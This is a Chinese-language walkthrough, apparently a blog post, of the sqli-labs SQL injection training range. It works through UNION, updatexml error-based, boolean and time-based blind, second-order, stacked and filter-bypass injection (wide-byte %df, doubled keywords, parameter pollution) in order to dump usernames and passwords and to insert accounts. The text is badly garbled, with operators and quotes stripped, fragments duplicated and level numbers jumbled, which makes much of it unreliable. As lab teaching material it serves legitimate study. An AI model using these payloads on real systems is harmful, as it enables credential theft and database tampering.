。

因为该页面存在回显#xff0c;所以我们可以使用联合查询。

联合查询原理简单说一下1

看回显通过回显来判断是否存在注入以及用什么方式进行注入直接上图

可以根据结果指定是字符型且存在sql注入漏洞。

因为该页面存在回显所以我们可以使用联合查询。

联合查询原理简单说一下联合查询就是两个sql语句一起查询两张表具有相同的列数且字段名是一样的。

那我们直接上命令

1,2,group_concat(table_name)from

where

1,2,group_concat(username,0x7e,password)

from

0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看那我们接着直接上图

在这里还是解释一下因为这里报出一个没有4所以我们判断有3个字段

接着去判断数据库名称和版本号

这里我们得到了库名是security那么我就利用库名来判断表名

发现有一个users表我们可以利用我们利用user表去获取其中的字段发现字段以后我们就可以去得到这个表中的用户名和密码了

2.第二关

1,2,group_concat(table_name)from

where

1,2,group_concat(username,0x7e,password)

from

0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看额在靶场环境中的话数据库名

3.第三关

1,2,group_concat(table_name)from

where

得到表中的字段,利用表中的字段得到我们的想要的数据?id-1)

union

1,2,group_concat(username,0x7e,password)

from

1,2,group_concat(table_name)from

where

1,2,group_concat(username,0x7e,password)

from

看到这里就知道了有回显但是不明确可能有注入点可以找但是得用盲注或者使用显错注入

那么我们来找闭合点

--来进行闭合注入然后我们选择显错注入显错注入相对盲注来说更加简单我们可以先去尝试着用显错

直接上命令

(updatexml(1,concat(0x5c,database(),0x5c),1))

?id1

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值接着我们来上图

我们发现一个user表对我们有用我们可以尝试去找一下表中的具体字段

在这里我们只发现了一个用户名和密码而我们想要所有的用户名和密码所以我们直接上bp

我们先给1-20区尝试

这里我们就找到了闭合点所以我们可以使用显错注入来获取我们想要的到的内容了

上命令

(updatexml(1,concat(0x5c,database(),0x5c),1))

?id1

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值同理我们这里直接去测试账号密码就好了

3.第七关

(updatexml(1,concat(0x5c,database(),0x5c),1))

?id1))

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

#使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值同理我们直接测账户密码

bp同理直接上图

然而使用–将后面注释以后又出来回显所以这里存在注入我们可以尝试着显错注入

发现一个问题不会报错所以这里不存在显错注入那没得选只能盲注了我们选择布尔型的盲注因为这里有回显

那我们直接上命令

这里尝试以后发现数据库长度是8也可以直接用bp去测然后我们开始测数据库的名称上bp

这里payload介绍一下因为有substr命令所以选择1这个payload又因为是测试数据库所以选择s

我们得到它的表的个数是4个那么我就可用bp测试它的每个表的长度了

而长度我们直接给到10

我们得出结论第一个表长度是6第二个是8第三个是7第四个是5最长的是8我们需要特别注意一下因为一会要用

同理有4个表我们给到3

我们得出结果:表名分别为:emails、referers、uagents、users

这里同理payload1

我们得到结果第一个字段长度为2第二个字段长度为8第三个字段长度为8

id、username、password

我们可以利用username和password获取到数据库中的具体字段的数据

因为我们不知道里面有多少个数据所以我们先给20个尝试一下所以第一个给到20

这里我们说一下第三个因为要爆用户名用户名可能存在一些特殊的符号所以我们的第三个要加一些特殊符号以及数字

angelina

我们得到的密码是:dumb、i-kill-you、password、crappy、stupidity、genious、mob!le

admin

我们发现一个问题就是不管怎么尝试找闭合点都找不到页面总是不变这时候就想到了时间延时注入

我们加入sleep函数试一下

database()),1,1)s,sleep(5),1)--

?id1and

database()),1,1))115,sleep(5),1)--

使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。

?id1

table_schemadatabase())4,sleep(5),1)

?id1

使用延时注入来判断password字段中的数据是否为我们判断数据库的长度是8接着我们就可以去判断数据库的内容了

同样的思路我们去找表的个数、长度、内容、以及字段的个数、长度、内容、以及具体的数据思路跟上面的思路是一样的这里我们直接给到一个最后的数据图

2.第十关

同样的道理使用时间延时找到闭合点是后面思路完全一样我们直接上命令

?id1and

database()),1,1)s,sleep(5),1)--

?id1and

database()),1,1))115,sleep(5),1)--

使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。

?id1

table_schemadatabase())4,sleep(5),1)

?id1

使用延时注入来判断password字段中的数据是否为D11-14关

1.第十一关

我们发现在请求体中将username后面使用’闭合以后使用or11形成永真而#又将后面的注释掉出现了结果所以这里可以注入

直接上命令

1,group_concat(username,0x7e,password)

from

0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看在这里我们可以得到它有2个字段

2.第十二关

1,group_concat(username,0x7e,password)

from

0x7e是编码的东西解码之后是~是为了让我们看回显的时候更好看之后就跟上一个同理了这里我们还是直接出一个最后结果

3.第十三关

这里我们发现一个问题它的显错位没有出来反而登陆进去了那就感觉这里不存在联合注入了这里得进行盲注或者显错注入我们还是优先选择显错注入

我们直接上命令

(updatexml(1,concat(0x5c,database(),0x5c),1))#

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值得出数据库的名字为security

有3个字段

table_schemadatabase())4,sleep(1),1)

(length((select

使用延时注入来判断password字段中的数据是否为D判断库的长度

得到库名为security

第二个是表的长度最长的是8所以我们给8第三个是表的内容我们给a-z

我们的得到了表的名字发现有一个users我们可以使用users去判断它的字段的个数

然后我们来判断它的每一个字段的长度在这里我们发现字段长度分别为

payload介绍一下

在这里得到了username和password我们可以去找具体的数据原理是一样的最后的结果跟上面的账户密码是一样的。

2.第十六关

这里发现没有回显所以只能使用延时注入跟上面15关一样只是闭合点不一样

直接上命令

table_schemadatabase())4,sleep(1),1)

)or

使用延时注入来判断password字段中的数据是否为D过程完全一样就是闭合点不一样所以这里不给图了照着15就好了

17关

发现一个问题我们不管怎么去尝试都找不到注入点在username中找不到注入点就应该是在password中找

爆出账号以后尝试着从passwrod处进行注入找到闭合点以后尝试着注入

这里发现不能使用order

(updatexml(1,concat(0x5c,database(),0x5c),1))

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号or

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名or

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值利用users表获获取表中的字段

获取username

登陆一下之后发现一个ua这里是我们登陆以后有一个回显是ua所以我们可以尝试着来ua注入

直接上命令

(updatexml(1,concat(0x5c,database(),0x5c),1))

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号or

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名or

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

(updatexml(1,concat(0x5c,version(),0x5c),1))

and

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

and

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值我们利用users表获取我们想要得到的内容然后我们获取username和password内容

3.第二十关

这里我们发现一个cookie值同样的道理我们登陆以后会提示有一个cookie值这里就可能是利用cookie值进行注入

我们利用这里注入找一下注入点

1,2,group_concat(table_name)from

where

1,group_concat(username,0x22,password)

from

同理登陆以后发现有cookie所以还是尝试着用cookie注入我们开始抓包

但是这里我们发现一个问题cookie后面的内容并非我们输入的东西

admin)

(updatexml(1,concat(0x5c,database(),0x5c),1))

admin)

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值2.第二十二关

直接上命令

(updatexml(1,concat(0x5c,database(),0x5c),1))#

admin

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))#

使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值同理我们

直接去爆用户名和密码

1,group_concat(username),group_concat(password)

from

这一关我们发现让我们去注册一个用户所以我们有思路可以尝试者去进行二次注入

然后用这个用户登陆

这个原理是这样的我们创建了一个admin’#的用户去修改它的密码数据库会执行一个update命令

上命令

这样的话数据库会将#注释掉默认以为修改admin的密码所以导致我们可以使用admin登陆数据库

25关

1,2,group_concat(table_name)from

where

1,2,group_concat(username,0x7e,passwoorrd)

from

0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看

?id-1

1,2,group_concat(username,0x22,passwoorrd)

from

这里需要注意一下我们需要把informtaion写成infoorrmation

26关-27关

?id1||(updatexml(1,concat(0x7e,database(),0x7e),1))

爆数据库名

?id1||(updatexml(1,concat(0x7e(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schemasecurity))),1))||0

?id1||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schemasecurityaandnd(table_nameusers)))),1))||0

爆字段

?id1||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||0

爆密码账户这里我们直接给最后一个图

二十七关和二十六差不多不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。

直接上命令

?id1or(updatexml(1,concat(0x7e,database(),0x7e),1))or

爆库名

?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schemasecurity))),1))or0

?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schemasecurityand(table_nameusers)))),1))or0

爆字段

?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or0

爆密码账户28关

该关卡过滤了注释符空格还过滤了union和select。

\s表示空格表示匹配一次或多次/i表示不区分大小写所以整体表示匹配

union加一个或多个空格加select其中union和select不区分大小。

所以我们可以使用重写绕过写。

?id0)uni

union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schemadatabase()and

?id0)uni

union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schemasecurity%0Aand%0Atable_nameusers%0Aand(1

爆字段

union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A(1

爆数据29关-31关

就是会对输入的参数进行校验是否为数字但是在对参数值进行校验之前的提取时候只提取了第一个id值如果我们有两个id参数第一个id参数正常数字第二个id参数进行sql注入。

sql语句在接受相同参数时候接受的是后面的参数值。

利用参数污染注入传入2个参数第一个用来欺骗waf第二个用于正常访问。

上命令

1,2,group_concat(username,-,password)

from

1,2,group_concat(username,-,password)

from

1,2,group_concat(username,-,password)

from

因为php源码中是用来greg_replace函数将斜杠单引号与双引号过滤了所以输入’之后不起作用所以这个时候我们可以使用宽字节注入当某字符的大小为一个字节时称其字符为窄字节当某字符的大小为两个字节时称其字符为宽字节。

所有英文默认占一个字节汉字占两个字节。

我们使用%df和%27组合使其成为一个宽字节然后导致报错然后我们可以将后面注释从而形成注入

接着我们直接上命令:

1,2,group_concat(table_name)from

where

1,2,group_concat(username,id,password)

from

看到这个我们就很敏感了同样的道理还是将’转义了所以我们需要使用宽字节

这样的话就完美的解决了然后我们就可以使用我们的命令了直接上命令

admin%df

1,group_concat(username,id,password)

from

--然后我们就可以使用联合注入但是肯定有过滤的东西所以我们直接上命令

?id1

1,database(),group_concat(table_name)

from

1,database(),group_concat(column_name)

from

爆出字段但是这里的users表需要用16进制编码因为对users做了过滤

?id-1

1,2,group_concat(username,password)

from

1,2,group_concat(table_name)from

where

1,2,group_concat(username,id,password)

from

1,group_concat(username,id,password)

from

到这里我们发现和第一关的是一样的但用第一关的做法来做就多多少少有点捞了这波是要我们练习堆叠注入的所以我们可以执行多条sql语句。

所以我们可以插入一个表格或者修改数据或者删除数据库什么的这里都行所以就创建一个表吧

这里我们用工具连上数据库去看一下

我们发现闭合点就是没有闭合点所以我们这里直接进行堆叠语句就好了

?id1;insert

hjm2(id,username,password)values(1,hjm,password)同理我们上数据库看一下

5.第四十二关

这一关同理我们只要找到注入点就好了这里是一个post请求我们可以去抓包然后找到注入点之后利用堆叠注入

在这里我们找到了注入方式我们可以给users表中插入两个数据作为我们登陆账号和密码

;insert

(100,hjm1,123456)#然后我们可以上数据库看一下我们也可以直接登陆我们登陆看一下吧这里我们成功的登录进去成功拿下数据库

6.第四十三关

第四十三关是同样的思路找到闭合点就好了我们找到了注入点后面的是同样的同样的思路我们可以去拿他数据库也可以执行一些堆叠语句

7.第四十四关

使用新的参数sort通过输入123表中出现不同数据该sql语句是order

bysql语句参数没有引号且不能使用联合注入有报错显示所以我们可以使用updatexml进行报错。

上命令

(updatexml(1,concat(0x5c,database(),0x5c),1))

?sort3

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值设置好payload直接爆出所有的账户密码

2.第四十七关

(updatexml(1,concat(0x5c,database(),0x5c),1))

?sort3

(updatexml(1,concat(0x5c,version(),0x5c),1))

使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

使用显错注入获取到username和password的所有值3.第四十八关

找一下闭合点

database()),1,1)s,sleep(1),1)--

?sort3

table_schemadatabase())4,sleep(1),1)

?sort3

使用延时注入来判断password字段中的数据是否为D4.第四十九关

在这里我们需要找一下注入点

database()),1,1)s,sleep(1),1)--

?sort3

table_schemadatabase())4,sleep(1),1)

?sort3

使用延时注入来判断password字段中的数据是否为D51-53关

1.第五十一关

(updatexml(1,concat(0x5c,database(),0x5c),1))

?sort

(updatexml(1,concat(0x5c,version(),0x5c),1))

--使用显错注入获取到版本号

(updatexml(1,concat(0x5c,(select

where

table_schemadatabase()),0x5c),1))

使用显错注入获取到表名

(updatexml(1,concat(0x5c,(select

where

(updatexml(1,concat(0x5c,(select

group_concat(username)from(select

username

(updatexml(1,concat(0x5c,(select

group_concat(password)from(select

password

(updatexml(1,concat(0x5c,(select

group_concat(username,0x5c,password)from(select

username,password

--使用显错注入获取到username和password的所有值2.第五十二关

在这里我们发现了这里有注入点可以在这里进行堆叠注入比如创建数据库

?sort1;

翻译页面的英文得知只有十次输入机会超过十次所有表名列名等等都会随机重置。

id参数是单引号闭合就

?id1

1,2,group_concat(table_name)from

where

同样在这里我们找到了注入点但是次数只有5次所以我们想到了报错注入

?id1

updatexml(1,concat(0x7e,(select

from

table_schemadatabase()),0x7e),1)--

?id1

updatexml(1,concat(0x7e,(select

from

table_namex87nrg3jvg),0x7e),1)--

爆列名

updatexml(1,concat(0x7e,(select

from

爆出字段的名字idsessicsecret_sx1R,tryy

我们来爆结果

这里发现闭合以后不报错没有回复所以这里是使用盲注盲注命令前面都有这里就找一下闭合点了

2.第六十三关

这里有些细心的师傅应该会发现后面的ip地址是发生变化的这里是我在打靶过程中出现了一些问题然后重新搭建的另一个靶机

总结:

这里写了所有关卡的方法其实那些方法都大差不差主要是学习思路所以后续一些关卡的命令就没有拿出来因为同前面的都一样

整个过程中费时费力这是一件挺耗费精力的事情花了很长世界写了这篇文章希望对于各位师傅有所帮助后续还在持续的更新中